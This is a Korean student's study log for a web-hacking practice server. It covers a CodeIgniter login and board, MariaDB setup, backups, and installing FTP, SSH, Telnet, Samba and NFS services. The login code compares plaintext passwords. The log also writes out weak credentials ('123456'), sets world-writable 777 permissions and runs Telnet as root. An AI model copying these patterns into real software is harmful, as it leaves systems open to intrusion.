header.php<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content="" /> <title>산특6기_웹해킹연습서버_yg</title> <!-- Favicon--> <link rel="icon" type="image/x-icon" href="/static/assets/favicon.ico" /> <!-- Core theme CSS (includes Bootstrap)--> <link href="/static/css/styles.css" rel="stylesheet" /> </head> <body> <div class="d-flex" id="wrapper"> <!-- Sidebar--> <div class="border-end bg-white" id="sidebar-wrapper"> <div class="sidebar-heading border-bottom bg-light">Start Bootstrap</div> <div class="list-group list-group-flush"> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Dashboard</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Shortcuts</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Overview</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Events</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Profile</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Status</a> </div> </div> <!-- Page content wrapper--> <div id="page-content-wrapper"> <!-- Top navigation--> <nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom"> <div class="container-fluid"> <button class="btn btn-primary" id="sidebarToggle">Toggle Menu</button> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav ms-auto mt-2 mt-lg-0"> <li class="nav-item active"><a class="nav-link" href="#!">Home</a></li> <li class="nav-item"><a class="nav-link" href="#!">Link</a></li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdown" href="#" role="button" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false">Dropdown</a> <div class="dropdown-menu dropdown-menu-end" aria-labelledby="navbarDropdown"> <a class="dropdown-item" href="#!">Action</a> <a class="dropdown-item" href="#!">Another action</a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="#!">Something else here</a> </div> </li> </ul> </div> </div> </nav>
footer.php</div> </div> <!-- Bootstrap core JS--> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script> <!-- Core theme JS--> <script src="/static/js/scripts.js"></script> </body> </html> <br> <br>welcome_message.php <!-- Page content--> <div class="container-fluid"> <h1 class="mt-4">Simple Sidebar</h1> <p>The starting state of the menu will appear collapsed on smaller screens, and will appear non-collapsed on larger screens. When toggled using the button below, the menu will change.</p> <p> Make sure to keep all page content within the <code>#page-content-wrapper</code> . The top navbar is optional, and just for demonstration. Just create an element with the <code>#sidebarToggle</code> ID which will toggle the menu when clicked. </p> </div>
디렉토리의 권한은 755
파일의 권한은 644로 통일
Home.php의 index함수를 교체
public function index(): string
{
#return view('welcome_message');
$data = [
'title' => 'Home'
];
return view('templates/header', $data)
. view('welcome_message')
. view('templates/footer');
}
여기까지 해주면 너무나 못생긴 웹 페이지가 나온다
오늘 한 일
해시값을 이용한 무결성 검사하기
Tripwire를 이용해 파일 위변조 체크하기
CodeIgniter 구조 파악하기
내일 할 일
코드작업
2026-06-27
CodeIgniter의 이해와 로그인 기능 구현
›
공용 서버에 자동 백업 실행하기
192.168.0.29로 ssh접속
백업 스크립트 생성
nano backup.sh#!/bin/bash # ===== 설정 ===== SOURCE_DIR="/home/yg/public_html" # 백업할 디렉터리 BACKUP_DIR="/backup/yg" # 백업 저장 위치 RETENTION_DAYS=30 # 보관 기간(일) # ===== 변수 ===== DATE=$(date +"%Y-%m-%d_%H-%M-%S") BACKUP_FILE="$BACKUP_DIR/backup_$DATE.tar.gz" # ===== 백업 디렉터리 생성 ===== mkdir -p "$BACKUP_DIR" # ===== 백업 수행 ===== echo "[$(date)] 백업 시작" tar -czf "$BACKUP_FILE" "$SOURCE_DIR" if [ $? -eq 0 ]; then echo "[$(date)] 백업 성공: $BACKUP_FILE" else echo "[$(date)] 백업 실패" exit 1 fi # # ===== 오래된 백업 삭제 ===== find "$BACKUP_DIR" -name "backup_*.tar.gz" -type f -mtime +$RETENTION_DAYS -delete echo "[$(date)] 오래된 백업 정리 완료" echo "[$(date)] 작업 종료"
실행해주면 정상적으로 백업이 진행 된다
자동화는 공용서버에 권한이 없어 교수님이 대신 진행
CodeIgniter의 이해
cd ~/public_html/CI4/app
CI4에서 중요한 부분
M : Model (데이터베이스)
V : View (화면)
C : Controller (기능)
cd ..
왠만하면 app과 public만 건드리면 된다
cd public
mkdir static
cd static
mkdir assets
mkdir css
mkdir js
교수님에게 받은 startbootstrap-simple-sidebar-gh-pages 폴더 안에있는 파일들을
각각의 디렉토리에 넣어주기
이렇게 파일을 넣어주고 ci4.yg.kr로 접속해보면
못생긴 페이지가 이쁘게 바뀐다
편집에 용이하게 VSCode로 접속
app (보이지 않는 곳)
콘솔에서
public (공용 디렉토리 - css,js,image등 외부에 보이는 곳)
cd ~/public_html/CI4/public
img 폴더를 생성해준다
mkdir img
Board기본 뼈대 만들기
Board를 만들어 보자
VScode에서 Routes를 먼저 구성
Routes.php에 추가$routes->get('/board', 'Board::list'); $routes->get('/board/insert', 'Board::insert'); $routes->get('/board/update/(:num)', 'Board::update/$1'); $routes->get('/board/delete/(:num)', 'Board::delete/$1'); $routes->get('/board/detail/(:num)', 'Board::detail/$1');
근데 왜 2개는 (:num)이 없는데 아래 3개는 (:num)이 있을까?
글쓰기로 비유해보면 우리가 글을 쓰거나 리스트를 펼칠때는 번호가 필요하지 않다
하지만 내가 쓴 글을 수정하기 위해선 내가 쓴 글이 몇번인지 알아야한다
그래서 (:num)이 필요한것
ex)http://ci4.yg.kr/board/update/1
예전에는 #http://ci4.yg.kr/board/detail.php?id=1 이런방식으로 나왔다
Controller로 가서 Board.php를 추가
Board.php<?php namespace App\Controllers; class Board extends BaseController { public function index(): string { #return view('welcome_message'); $data = [ 'title' => '메인' ]; return view('templates/header', $data) . view('/board/list') . view('templates/footer'); } public function update(): string { $data = [ 'title' => '메인' ]; return view('templates/header', $data) . view('/board/update') . view('templates/footer'); } public function detail(): string { $data = [ 'title' => '메인' ]; return view('templates/header', $data) . view('/board/detail') . view('templates/footer'); } public function delete(): string { $data = [ 'title' => '메인' ]; return view('templates/header', $data) . view('/board/delete') . view('templates/footer'); } public function insert(): string { $data = [ 'title' => '메인' ]; return view('templates/header', $data) . view('/board/insert') . view('templates/footer'); } } ?>
추가를 완료했으면 Views로 가서 board 디렉토리를 생성
board안에
delete.php
detail.php
insert.php
list.php
update.php
를 만들어주고 웹에 접속해주면 Permissin denind가 나온다
뭐야 그럼 접속 못하는거야?
XShell로 이동해서 권한을 변경해주면 된다
cd ~/public_html/CI4/app/Controllers/
chmod 644 board.php
cd ~/public_html/CI4/app/Views/
chmod 755 board
cd board
chmod 644 delete.php
chmod 644 detail.php
chmod 644 insert.php
chmod 644 list.php
chmod 644 update.php
설정을 마치고 웹에 접속해보면
http://ci4.yg.kr/board
정상적으로 설정이 되었다면 문제가 없다
미션!
http://ci4.yg.kr/health 가 웹에 표시되도록 하자
정말 쉽다 board를 만들어 준것과 똑같이 만들어 주면 된다
header.php를 살짝만 수정해서 login, logout, registration을 연결해준다42<a class="dropdown-item" href="/login">로그인</a> 43<a class="dropdown-item" href="/logout">로그아웃</a> 44<div class="dropdown-divider"></div> 45<a class="dropdown-item" href="/registration">회원가입</a>
로그인 기능의 이해
페이지 생성 순서
Route > Controller > Views
Controller
Health
list
Board
list
Auth.php
login
logout
signup
로그인 기능 구현
ID와 Pass를 입력하면
서버로 전송
전송된 데이터를 데이터베이스와 비교해서
있으면 로그인
없으면 재질문
1. 로그인 폼 만들기
전송방식을 이해하기
전송방식의 종류
Get : http://ci4.yg.kr/login.php?id=id,pass=password
Post : http://ci4.yg.kr/login.php
/login은 Get방식과 Post방식으로 올 수 있다
어느 상황에서 어떤 방식으로 가는데?
링크를 누르면 Get
버튼을 누르면 Post
login.php<!-- Page content--> <div class="container-fluid"> <h1 class="mt-4">로그인</h1> <p> <form action="/login" method="post"> <div class="mb-3 mt-3"> <label for="email" class="form-label">Email:</label> <input type="email" class="form-control" id="email" placeholder="Enter email" name="email"> </div> <div class="mb-3"> <label for="pwd" class="form-label">Password:</label> <input type="password" class="form-control" id="pwd" placeholder="Enter password" name="pswd"> </div> <div class="form-check mb-3"> <label class="form-check-label"> <input class="form-check-input" type="checkbox" name="remember"> Remember me </label> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> </p> </div>
만들어 준 후 로그인 페이지에서 Submit을 눌러주면
404 에러와 함께 작동하지 않는다
버튼을 눌러 Post방식으로 보냈는데 Post를 처리할 환경을 만들어주지 않았기 때문
Router.php에 Post방식을 추가해준다
$routes->post('/login', 'Home::login');
login을 눌렀을 때 어떤 방식으로 넘어가는지 알아보자
Home.php의 login 함수를 수정해준다public function login() { #Step 1. (Get > Post) 일단 GET 방식 먼저 그 다음 POST처리 if($this->request->getMethod() === 'GET') { echo "GET Method"; } else { echo "POST Method"; } }
이렇게 만들어준 후 웹에서 login을 눌러주면
GET Method 글자가 나온다
넘어가는 방식을 확인해봤으니까 살을 더 붙혀준다
Home.php의 login 함수를 다시 수정public function login() { #Step 1. (Get > Post) 일단 GET 방식 먼저 그 다음 POST처리 if($this->request->getMethod() === 'GET') { echo "GET Method"; $data = [ 'title' => '로그인' ]; return view('templates/header', $data) . view('login') . view('templates/footer'); } else { echo "POST Method"; } }
이렇게 살을 추가해주면 login을 눌렀을 때 email과 pass를 묻는 창이 나온다
이 상태에서
Submit을 눌러보면
POST Method 글자가 나온다
실질적으로 로그인을 처리하는 부분은 아래쪽의 POST 부분이구나!
그래서 오늘은else { echo "POST Method"; }
이 부분을 중심적으로 만져볼거다else { echo "POST Method"; #step 2. 로그인 과정의 이해) #1. 전송되는 데이터를 확인해라 $email = $this->request->getPost('email'); $pswd = $this->request->getPost('pswd'); echo "email : $email <br>"; echo "pswd : $pswd <br>"; }
미션!
29번 DB에 Workbench를 활용하여 본인 계정으로 접속하기
접속이 안된다!
1. DB설치 자체가 되지 않았다
DB는 외부에서 접속을 허용하면 안된다!
보안상 매우 위험하기때문
설치가 되어도 접속은 안된다!
왜 안되는데!!!!
/etc/mysql/mariadb.conf.d
bind-address = 127.0.0.1 로 되어있기 때문
= 리눅스 커널에서만 접속을 허용하겠다create database yg; CREATE USER 'yg'@'localhost' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON yg.* TO 'yg'@'localhost'; flush privileges; CREATE USER 'yg'@'192.168.0.205' IDENTIFIED BY '123456'; GRANT ALL PRIVILEGES ON yg.* TO 'yg'@'192.168.0.205'; flush privileges;
접속을 허용해주면 그제서야 DB에 접속이 된다!
아무것도 없는 DB에 들어왔으니 정보를 넣어주자CREATE TABLE users ( id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, email VARCHAR(100) NOT NULL UNIQUE, pswd VARCHAR(255) NOT NULL, name VARCHAR(50) NOT NULL, phone VARCHAR(20), status ENUM('Y','N') DEFAULT 'Y', created_at DATETIME DEFAULT CURRENT_TIMESTAMP, updated_at DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP ); INSERT INTO users (email, pswd, name, phone, status) VALUES ('admin@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '관리자', '010-1111-1111', 'Y'), ('user1@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '홍길동', '010-1111-2222', 'Y'), ('user2@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '김철수', '010-1111-3333', 'Y'), ('user3@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '이영희', '010-1111-4444', 'Y'), ('user4@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '박민수', '010-1111-5555', 'Y'), ('user5@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '최지은', '010-1111-6666', 'Y'), ('user6@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '정우성', '010-1111-7777', 'Y'), ('user7@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '한지민', '010-1111-8888', 'Y'), ('user8@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '신동엽', '010-1111-9999', 'Y'), ('user9@test.com', '$2y$10$Z5Q3vS4kM3lCJ9Q9j6KqQe7nLr6Kh5K7mA4V0Qz2M3RrH0rQfP2yK', '김유신', '010-2222-0000', 'Y');
이제 드디어 로그인 기능을 구현 할 준비가 되었다!
user3@test.com의 정보를 확인해보자
select * from yg.users where email='user3@test.com';
DB와 연결하기
좋았어! DB를 만들었으니 MVC중에 DB를 담당하는 Model로 가자
Models 폴더 아래에 UserModel.php를 생성
UserModel.php<?php namespace App\Models; use CodeIgniter\Model; class UserModel extends Model { protected $table = 'users'; protected $primaryKey = 'id'; protected $allowedFields = [ 'email', 'pswd', 'name', 'phone', 'status', 'created_at', 'updated_at', ]; protected $useTimestamps = true; } ?>
Home.php의 login 함수도 수정해주자public function login() { #Step 1. (Get > Post) 일단 GET 방식 먼저 그 다음 POST처리 if($this->request->getMethod() === 'GET') { echo "GET Method"; $data = [ 'title' => '로그인' ]; return view('templates/header', $data) . view('login') . view('templates/footer'); } else { echo "POST Method <br>"; #step 2. 로그인 과정의 이해 #1. 전송되는 데이터를 확인해라 $email = $this->request->getPost('email'); $pswd = $this->request->getPost('pswd'); echo "email : $email <br>"; echo "pswd : $pswd <br>"; #2. DB에 있는 데이터와 비교해라 $model = new \App\Models\UserModel(); $user = $model->where('email', $email)->first(); if($user) { echo "사용자가 존재합니다."; } else { echo "사용자가 존재하지 않습니다."; } } }
이렇게 만들어주고 웹에서 접속을 시도해보면 에러가 나온다
왜? 어떤 데이터베이스 쓸지를 말해주지 않았기 때문
데이터베이스 설정을 우리가 찾아서 해줘야한다
cd ~/public_html/CI4
ls -la로 확인해보면
.env가 있는데 .env는 원레 없는 파일이다
여기에 DB연결 정보를 넣어주면 된다
nano .envapp.baseURL = 'ci4.yg.kr' database.default.hostname = localhost database.default.database = yg database.default.username = yg database.default.password = pass database.default.DBDriver = MySQLi database.default.DBPrefix = database.default.port = 3306
찾아서 수정해주면 된다
다시 시도해보면 사용자가 존재합니다. 라고 뜬다!
로그인 기능 구현하기
이제 Password가 맞는지 체크해주면 된다
먼저 DB에 해시값으로 저장된 Pass를 평문으로 바꿔준다
다시 login함수 수정public function login() { // GET : 로그인 화면 if ($this->request->getMethod() === 'GET') { $data = [ 'title' => '로그인' ]; return view('templates/header', $data) . view('login') . view('templates/footer'); } // POST : 로그인 처리 $email = trim($this->request->getPost('email')); $pswd = $this->request->getPost('pswd'); $model = new \App\Models\UserModel(); $user = $model->where('email', $email)->first(); // 사용자 확인 if (!$user) { return redirect()->back() ->withInput() ->with('error', '존재하지 않는 이메일입니다.'); } // 비밀번호 확인(일반 평문으로 비밀번호 비교) if ($pswd !== $user['pswd']) { return redirect()->back() ->withInput() ->with('error', '비밀번호가 일치하지 않습니다.'); } // 로그인 성공 → Session ID 재생성 session()->regenerate(true); // Session 저장 session()->set([ 'user_id' => $user['id'], 'email' => $user['email'], 'name' => $user['name'], 'isLoggedIn' => true ]); return redirect()->to('/'); }
저장 후 다시 시도해보면 이번엔 Session Error가 나온다
app/app.php로 이동해서 코드 추가public string $sessionDriver = 'CodeIgniter\Session\Handlers\FileHandler'; public string $sessionCookieName = 'ci_session'; public int $sessionExpiration = 7200; // 2시간 public string $sessionSavePath = WRITEPATH . 'session'; public bool $sessionMatchIP = false; public int $sessionTimeToUpdate = 300;
코드를 추가해 준 후 권한을 변경해줘야한다
chmod 777 /home/yg/public_html/CI4/writable/session
권한까지 바꿔주고 웹에서 다시 로그인을 시도해주면
정상적으로 로그인 처리가 된다
로그인 페이지 다듬기
View/login.php 수정<!-- Page content--> <div class="container-fluid"> <h1 class="mt-4">로그인</h1> <p> <?php if(session()->getFlashdata('error')) : ?> <div class="alert alert-danger"> <?= session()->getFlashdata('error') ?> </div> <?php endif; ?> <form action="/login" method="post"> <div class="mb-3 mt-3"> <label for="email" class="form-label">Email:</label> <input type="email" class="form-control" id="email" placeholder="Enter email" name="email"> </div> <div class="mb-3"> <label for="pwd" class="form-label">Password:</label> <input type="password" class="form-control" id="pwd" placeholder="Enter password" name="pswd"> </div> <div class="form-check mb-3"> <label class="form-check-label"> <input class="form-check-input" type="checkbox" name="remember"> Remember me </label> </div> <button type="submit" class="btn btn-primary">Submit</button> </form> </p> </div>
이제 문제가 있으면 에러가 나온다
로그인을 하기 전에는 로그인과 회원가입이 있어야하고
로그인을 했으면 로그아웃과 마이페이지가 보이게 하고싶다
Views/templates/header.php<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content="" /> <title><?= esc($title) ?></title> <!-- Favicon--> <link rel="icon" type="image/x-icon" href="assets/favicon.ico" /> <!-- Core theme CSS (includes Bootstrap)--> <link href="/static/css/styles.css" rel="stylesheet" /> </head> <body> <div class="d-flex" id="wrapper"> <!-- Sidebar--> <div class="border-end bg-white" id="sidebar-wrapper"> <div class="sidebar-heading border-bottom bg-light">산특6기</div> <div class="list-group list-group-flush"> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Dashboard</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Shortcuts</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Overview</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Events</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Profile</a> <a class="list-group-item list-group-item-action list-group-item-light p-3" href="#!">Status</a> </div> </div> <!-- Page content wrapper--> <div id="page-content-wrapper"> <!-- Top navigation--> <nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom"> <div class="container-fluid"> <button class="btn btn-primary" id="sidebarToggle">화면전환</button> <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav ms-auto mt-2 mt-lg-0"> <li class="nav-item active"><a class="nav-link" href="/">Home</a></li> <li class="nav-item"><a class="nav-link" href="/board">게시판</a></li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" id="navbarDropdown" href="#" role="button" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false">관리</a> <div class="dropdown-menu dropdown-menu-end" aria-labelledby="navbarDropdown"> <?php if(session()->get('isLoggedIn')): ?> <div class="dropdown-divider"></div> <a class="dropdown-item" href="/mypage">마이페이지(<b><?= session()->get('name') ?></b>)</a> <a class="dropdown-item" href="/logout">로그아웃</a> <?php else: ?> <div class="dropdown-divider"></div> <a class="dropdown-item" href="/login">로그인</a> <?php endif; ?> <a class="dropdown-item" href="/registration">회원가입</a> </div> </li> </ul> </div> </div> </nav>
이제 로그인 하기 전과 로그인 한 후의 메뉴가 다르게 표시된다
오늘 한 일
CodeIgniter의 구조 확인 (MVC),
DataBase와 연결,
로그인 기능 구현하기
내일 할 일
이제 하는 방법을 깨달았으니 여러가지 해보기
2026-06-29
네트워크를 위한 패키지 설치
›
일일 업무
일일 업무
Q. 노트는 정상적으로 백업되었는가?
A. /backup 폴더에 정상적으로 backup_2026-06-29_02-00-02.tar.gz, backup_2026-06-29_02-00-02.tar.gz 백업 파일이 있음을 확인
Q. 94번 서버로 정상적으로 전송되어 있는가?
A. 94번 서버에 정상적으로 backup_2026-06-28_02-00-02.tar.gz, backup_2026-06-29_02-00-02.tar.gz 파일이 있는 것을 확인
Q. cron을 통해 매 시간 log를 제대로 전송하고 있는가?
A. 매 시간 메일로 보내지고 있음을 확인
패키지 설치
오늘 쭉 설치를 할 예정
왜이리 많이 설치하냐?
수요일에 네트워크를 시작할거기 때문
우리가 지금 하고있는건 End Device
이건 설치만 하는거고 진짜 중요한건 설정이다
netstat -ant
21,22,23,25,53,80,110,143,443,445,3306,3389
sudo apt update
FTP 설치
sudo apt -y install vsftpd (FTP, Port : 21)
tcp6 0 0 :::21 :::* LISTEN
ftp에서 사용할 수 있는 명령어
get [파일명]: 서버에 있는 파일 1개를 내 컴퓨터로 다운로드합니다
mget [파일명/와일드카드]: 여러 개의 파일을 동시에 다운로드합니다
put [파일명]: 내 컴퓨터에 있는 파일 1개를 서버로 업로드합니다
put을 사용해보면 파일이 서버로 업로드 되지 않는다
왜? 설정이 안되어있기 때문
서버로 이동해서 설정해주자
sudo nano /etc/vsftpd.conf
write_enable=YES
부분의 주석을 해제해서 활성화
sudo systemctl restart vsftpd
설정을 바꿔주고 CMD창에서 다시 put을 시도해보면?
파일이 정상적으로 올라간다
VSCode에서 ftp연결을 시도해보자
ftp-simple의 설정을 변경{ "name": "yg.kr", "host": "192.168.0.20", "port": 21, "type": "ftp", "username": "master", "password": "123456", "path": "/home/master/", "autosave": true, "confirm": true },
SSH 접속
sudo apt -y install openssh-server
root로 접속을 해보자
당연히 접속이 안된다
보안상 중요할 뿐더러 암호도 모르기 때문
암호부터 바꿔주자
sudo su
passwd
패스워드를 바꿔주고 다시 ssh접속을 시도해보자
접속이 되지 않는다
설정에서 root로 로그인을 막아놨기때문
가능은 하나 굳이 열진 않는다
왜 굳이 열어서 위험하게 만들어
네트워크 실습할때 한번 열어볼 예정
접속방식을 알아보자
암호 인증 방식과 키인증방식이 있다
네트워크장비, 데이터베이스, 운영체제 들의 암호 초기화 방식을 알아야 한다
Telnet 접속
Ububte 20.04까지 사용가능
sudo apt -y install xinetd telnetd (telnet, Port : 23)
cd /etc/xinetd.d
nano telnet
service telnet{ disable = no flags = REUSE socket_type = stream wait = no user = root server = /usr/sbin/in.telnetd log_on_failure += USERID }
systemctl restart xinetd
netstat -ant | grep 23
네트워크를 확인해보면 23번 포트가 보이지 않는다
-------------------------------------------------
sudo apt purge xinetd (삭제)
sudo apt autoremove (삭제)
sudo apt -y install inetutils-telnetd
dpkg -l | grep inetutils-telnetd
sudo nano /etc/inetd.conf
telnet stream tcp nowait root /usr/sbin/tcpd
/usr/sbin/telnetd
sudo systemctl restart inetutils-inetd
sudo systemctl status inetutils-inetd
sudo ss -tlnp | grep :23
telnet은 평문전송 > ssh는 암호화
Samba를 통한 파일공유
sudo apt -y install samba (파일공유, Port : 445 )
netstat -ant | grep 445
sudo nano /etc/samba/smb.confworkgroup = WORKGROUP #Window Group 이름과 맞춰줌 unix_charset = UTF-8 interfaces = 192.168.0.0/24 eth0 map to guest = Bad User [ip020] comment = ip020 browseable = yes path = /home/master/public_html writable = yes guest ok = no create mask = 0777 directory mode = 0777 valid users = @sambaGroup
설정을 바꿔준 후 구문검사를 하고싶으면
testparm
sudo groupadd sambaGroup
sudo usermod -G sambaGroup master
sudo smbpasswd -a master
sudo systemctl restart smbd
sudo systemctl enable smbd
네트워크 드라이브에서 \\192.168.0.20\ip020으로 연결
이때 뒤에 오는 이름(ip020)은 반드시 설정과 맞춰주어야함
sambaGroup에 추가한 유저이름과 Pass를 입력해주면
성공적으로 네트워크 드라이브에 연결이 된다
이제 /home/master/public_html을 기본 경로로 해두면
FTP로 업로드 할 필요 없이 바로 공유폴더에 넣으면 된다!
NFS를 이용한 공유 폴더 생성
sudo apt -y install nfs-kernel-server
nfs는 혼자서 못하니까 팀으로 진행 (네트워크 파일 시스템)
서버
sudo apt -y install nfs-kernel-server
설정파일 : sudo nano /etc/exports/share[tab]192.168.0.19/24(rw,sync) #상대방이 접근 할 경로 #/home/master/public_html 192.168.0.19 (rw) #/home/master/public_html 192.168.0.0/24 (rw,sync)
sudo systemctl restart nfs-server
sudo ufw disable
sudo nano /etc/hosts.allow
mountd : 192.168.0.19
rpcbind :192.168.0.19
또는 ALL : 192.168.0.19
sudo exportfs -v 로 받을 준비가 되었는지 확인
클라이언트
sudo apt -y install nfs-common
sudo mkdir /share
chmod 777 /share
sudo showmount -e 192.168.0.19
sudo mount -t nfs 192.168.0.19:/share /share
까지 하면 이론상 연결이 된다
/share 폴더에 test.txt파일을 만들어서 상대방도 보이는지 확인
상대방쪽에서 정상적으로 test.txt파일이 보인다면 성공
잘 되지는 않았지만 나중에 다시 할거니까 여기까지
nano /etc/fstab으로도 연결가능하지만 이론만
sudo nano /etc/fstab
192.168.0.11:/home/master/public_html /home/master/public_html nfs defaults 0 0
나머지 패키지들
sudo apt -y install postfix
sudo apt -y install sendmail
sudo apt -y install dovecot-pop3d
sudo apt -y install dovecot-imapd
sudo apt -y install apache
sudo apt -y install nginx
sudo apt -y install mariadb-server
sudo apt -y install bind9 bind9utils
sudo apt -y install xrdp
sudo apt -y install lamp-server^
sudo apt -y install roundcube
sudo apt -y install isc-dhcp-server
sudo apt -y install squid
sudo apt -y install isc-dhcp-server tftpd-hpa inetutils-inetd vsftpd pxelinux
sudo apt -y install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
wget https://repo.zabbix.com/zabbix/7.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_7.0-1+ubuntu24.04_all.deb
dpkg -i zabbix-release_7.0-1+ubuntu24.04_all.deb
apt update
apt -y install zabbix-agent2
#ELK7
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install packetbeat
#ELK8
wget -O - https://artifacts.elastic.co/GPG-KEY-elasticsearch | gpg --dearmor -o /etc/apt/keyrings/elasticsearch-keyring.gpg
echo "deb [signed-by=/etc/apt/keyrings/elasticsearch-keyring.gpg] https://artifacts.elastic.co/packages/8.x/apt stable main" | tee /etc/apt/sources.list.d/elastic-8.x.list
apt update
sudo apt -y install packetbeat
GNS를 이용한 네트워크 환경 구축
공유폴더(94)에서 GNS, c7200, c3745 복사하기
GNS설치
tools 전부 체크 후 진행
c7200과 c3745를 추가
어떻게 연결하는데?
먼저 c7200먼저
Edit > Preferences > Dynamips > IOS routers > New
> New Image > c7200 추가 > > > slot1 PA-4T+ > idle PC finder > Finish
c3745도 똑같이 하지만 중간에 This is etherswich 선택
New project
20260629001
router 3개 etherswich 1개 VPCS 3개 가져와서 배치
사진 참조
Oracle Virtual Box로 Ubuntu 설치
했으면 다시 공유폴더에서 Oracle Virtual Box, Ubuntu 24.04, Oracle_VirtualBox_Extention_Pack 가져오기
머신 새로만들기
Ububtu24.04_ST6001
ubunte24.04 ios 파일 넣기
Prosec 체크 해제
파일 시스템은 VMDK로 변경
설정에서 디스크 추가
각각 1G, 2G, 3G, 2G, 2G, 20G 씩 VMDK로 생성
설정을 다 했으면 가상머신 시작
enp0s3
10.0.2.15/24
Install OpenSSH server 반드시 체크
오늘 한 일
vsftpd를 활용한 FTP 서비스 활성화,
openssh를 활용한 SSH 서비스 활성화,
Telnet을 활용한 Telnet 서비스 활성화,
Samba를 활용한 파일공유 서비스 활성화,
NFS를 활용한 공유 폴더 생성,
GNS를 이용한 네트워크 환경 구축,
Virtual Box를 활용한 Ububtu 설치
내일 할 일
설치한 Ubuntu 24.04에 추가 작업
2026-06-30
GNS를 통한 네트워크 구성과 Wireshark를 이용한 패킷 확인
›
Virtual Box와 XShell 연결
Virtual Box에 설치된 Ubuntu24.04 스냅샷 찍기
스냅샷 찍었으면 실행시키기
서버에 접속하면 가장 먼저 해야할 것은?
ip 확인하기
ip addr
ip를 확인해보니 10.0.2.15/24로 되어있다
모두가 똑같은데 이건 뭔데? 가짜 ip다
ping을 한번 때려서 밖으로 신호가 가는지 확인하자
ping 168.126.63.1
ping을 때려보니 외부로 신호가 간다
즉 인터넷 접속은 되어있는 상태
그럼 vm으로 접속이 되어야 하는거 아닌가?
XShell을 켜서 접속을 시도해보자
ssh 10.0.2.15 를 입력해보면 접속이 되지 않는다
우리가 쓰고있는 ip 는 192.168.0.XXX 번대다
즉 우리가 쓰고있는 ip는 같은 네트워크에 있지만 VM은 다른 네트워크에 있다
그럼 10.0.2.15로 접속을 어떻게 하는데?
그걸 가능하게 해주는게 라우터(router)다
192.168.0.205 > 포트포워딩 > 10.0.2.15
포트포워딩은 어떻게 하는데? 장치 > 네트워크 > 네트워크 설정
확인해보니 NAT으로 되어있었다
포트포워딩은 NAT에서만 할 수 있다
네트워크를 어댑터에 브릿지로 둔다면?
같은 네트워크에 있는 192.168.0.XXX 번을 자동으로 받아온다
우리는 같은 네트워크에 있는건 익숙해졌으니까 NAT을 이용해 다른 네트워크에 있는걸 써 볼 예정
포트 추가
21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389
완료 되었으면 XShell 로 접속해보기
